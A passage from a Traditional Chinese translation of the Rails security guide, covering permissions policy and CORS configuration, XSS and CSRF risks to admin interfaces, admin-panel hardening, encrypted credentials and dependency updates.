全域設定的策略可以依據每個資源覆寫:

class PagesController < ApplicationController
  permissions_policy do |policy|
    policy.geolocation "https://example.com"
  end
end

8.5 跨來源資源共享

瀏覽器會限制從腳本起始的跨來源 HTTP 要求。如果您想將 Rails 作為 API 執行,並在不同的網域上執行前端應用程式,則需要啟用跨來源資源共享 (CORS)。

您可以使用 Rack CORS 中介軟體來處理 CORS。如果您使用 --api 選項產生了您的應用程式,則可能已設定 Rack CORS,您可以跳過下列步驟。

首先,將 rack-cors gem 新增到您的 Gemfile 中:

gem "rack-cors"

接下來,新增一個初始化程式來設定中介軟體:

# config/initializers/cors.rb
Rails.application.config.middleware.insert_before 0, Rack::Cors do
  allow do
    origins "example.com"

    resource "*",
      headers: :any,
      methods: [:get, :post, :put, :patch, :delete, :options, :head]
  end
end

9 內部網路和管理員安全

內部網路和管理介面是常見的攻擊目標,因為它們允許特殊存取權限。儘管這需要額外的安全措施,但現實情況恰恰相反。

在 2007 年,出現了第一個量身打造的木馬程式,用於竊取內部網路中的資訊,也就是 Monster.com 的「Monster for Employers」網站,這是一個線上招聘 Web 應用程式。到目前為止,量身打造的木馬程式非常罕見,風險相當低,但這絕對是一種可能性,也是用戶端主機安全性也很重要的例子。但是,內部網路和管理應用程式的最大威脅是 XSS 和 CSRF。

9.1 跨網站指令碼攻擊

如果您的應用程式重新顯示來自外部網路的惡意使用者輸入,則應用程式將容易受到 XSS 攻擊。使用者名稱、評論、垃圾郵件報告、訂單地址只是一些不常見的範例,其中可能存在 XSS。

在管理介面或內部網路中,只要有一個地方沒有對輸入進行清理,就會使整個應用程式都容易受到攻擊。可能的漏洞包括竊取具有特權的管理員 Cookie、注入 iframe 以竊取管理員的密碼,或透過瀏覽器安全漏洞安裝惡意軟體以接管管理員的電腦。

請參閱「注入」章節,以瞭解防範 XSS 的對策。

9.2 跨網站偽造要求

跨網站偽造要求 (CSRF),也稱為跨網站參考偽造 (XSRF),是一種非常嚴重的攻擊方法,它允許攻擊者執行管理員或內部網路使用者可以執行的所有操作。如您已在上面看到的 CSRF 如何運作,以下是攻擊者可以在內部網路或管理介面中執行的一些範例。

一個真實世界的例子是透過 CSRF 重新設定路由器。攻擊者向墨西哥用戶發送帶有 CSRF 的惡意電子郵件。該電子郵件聲稱用戶有一張電子賀卡等待接收,但它也包含一個圖像標籤,導致向用戶的路由器(在墨西哥是很普及的型號)發送 HTTP-GET 請求以重新設定。該請求更改了 DNS 設定,使對墨西哥銀行網站的請求被映射到攻擊者的網站。每個透過該路由器存取銀行網站的人都看到了攻擊者的假網站,並且他們的憑證被盜。

另一個例子是更改 Google Adsense 的電子郵件地址和密碼。如果受害者已登入 Google Adsense,也就是 Google 廣告活動的管理介面,攻擊者可以更改受害者的憑證。

另一個常見的攻擊是濫發你的 Web 應用程式、部落格或論壇,以傳播惡意的 XSS。當然,攻擊者必須知道 URL 結構,但大多數 Rails URL 都相當簡單明瞭,或者如果它是開源應用程式的管理介面,則很容易找到。攻擊者甚至可以透過包含嘗試所有可能組合的惡意 IMG 標籤來進行 1,000 次幸運猜測。

對於管理介面和內部網路應用程式中針對 CSRF 的對策,請參閱 CSRF 章節中的對策

9.3 額外預防措施

常見的管理介面運作方式如下:它位於 www.example.com/admin,只有當使用者模型中設定了 admin 標誌時才能存取,重新顯示使用者輸入,並允許管理員刪除/新增/編輯任何所需的資料。以下是一些關於此的思考

  • 考慮最壞情況非常重要:如果有人真的掌握了你的 Cookie 或使用者憑證會怎樣。你可以為管理介面引入角色,以限制攻擊者的可能性。或者為管理介面設定特殊的登入憑證,而不是用於應用程式公開部分的憑證,又如何呢?或者為非常嚴重的操作設定特殊密碼

  • 管理員真的必須從世界各地存取介面嗎?考慮將登入限制為一組來源 IP 位址。檢查 request.remote_ip 以找出使用者的 IP 位址。這並非萬無一失,但卻是一道巨大的障礙。請記住,可能正在使用代理伺服器。

  • 將管理介面放在特殊的子網域,例如 admin.application.com,並使其成為具有自身使用者管理的分離應用程式。這使得從常用網域 www.application.com 竊取管理員 Cookie 成為不可能。這是因為瀏覽器中的同源策略:在 www.application.com 上注入的 (XSS) 腳本可能無法讀取 admin.application.com 的 Cookie,反之亦然。

10 環境安全

本指南的範圍不包括如何保護你的應用程式程式碼和環境。但是,請保護你的資料庫設定,例如 config/database.ymlcredentials.yml 的主金鑰和其他未加密的機密。你可能希望使用這些檔案以及任何可能包含敏感資訊的其他檔案的環境特定版本來進一步限制存取。

10.1 自訂憑證

Rails 將機密儲存在 config/credentials.yml.enc 中,該檔案已加密,因此無法直接編輯。Rails 使用 config/master.key 或尋找環境變數 ENV["RAILS_MASTER_KEY"] 來加密憑證檔案。由於憑證檔案已加密,因此可以將其儲存在版本控制中,只要主金鑰保持安全即可。

預設情況下,憑證檔案包含應用程式的 secret_key_base。它也可以用於儲存其他機密,例如外部 API 的存取金鑰。

要編輯憑證檔案,請執行 bin/rails credentials:edit。如果憑證檔案不存在,此命令將建立憑證檔案。此外,如果未定義主金鑰,此命令將建立 config/master.key

憑證檔案中保存的機密可透過 Rails.application.credentials 存取。例如,使用以下解密的 config/credentials.yml.enc

secret_key_base: 3b7cd72...
some_api_key: SOMEKEY
system:
  access_key_id: 1234AB

Rails.application.credentials.some_api_key 返回 "SOMEKEY"Rails.application.credentials.system.access_key_id 返回 "1234AB"

如果你希望在某些金鑰空白時引發例外,你可以使用 bang 版本

# When some_api_key is blank...
Rails.application.credentials.some_api_key! # => KeyError: :some_api_key is blank

透過 bin/rails credentials:help 了解有關憑證的更多資訊。

請妥善保管你的主金鑰。不要提交你的主金鑰。

11 依賴管理和 CVE

我們不會僅僅為了鼓勵使用新版本而更新依賴項,包括安全問題。這是因為應用程式擁有者需要手動更新他們的 gem,而不管我們的努力。使用 bundle update --conservative gem_name 安全地更新易受攻擊的依賴項。

12 其他資源

安全環境不斷變化,保持最新狀態非常重要,因為錯過新的漏洞可能會造成災難性的後果。你可以在這裡找到有關(Rails)安全的其他資源



回到頂端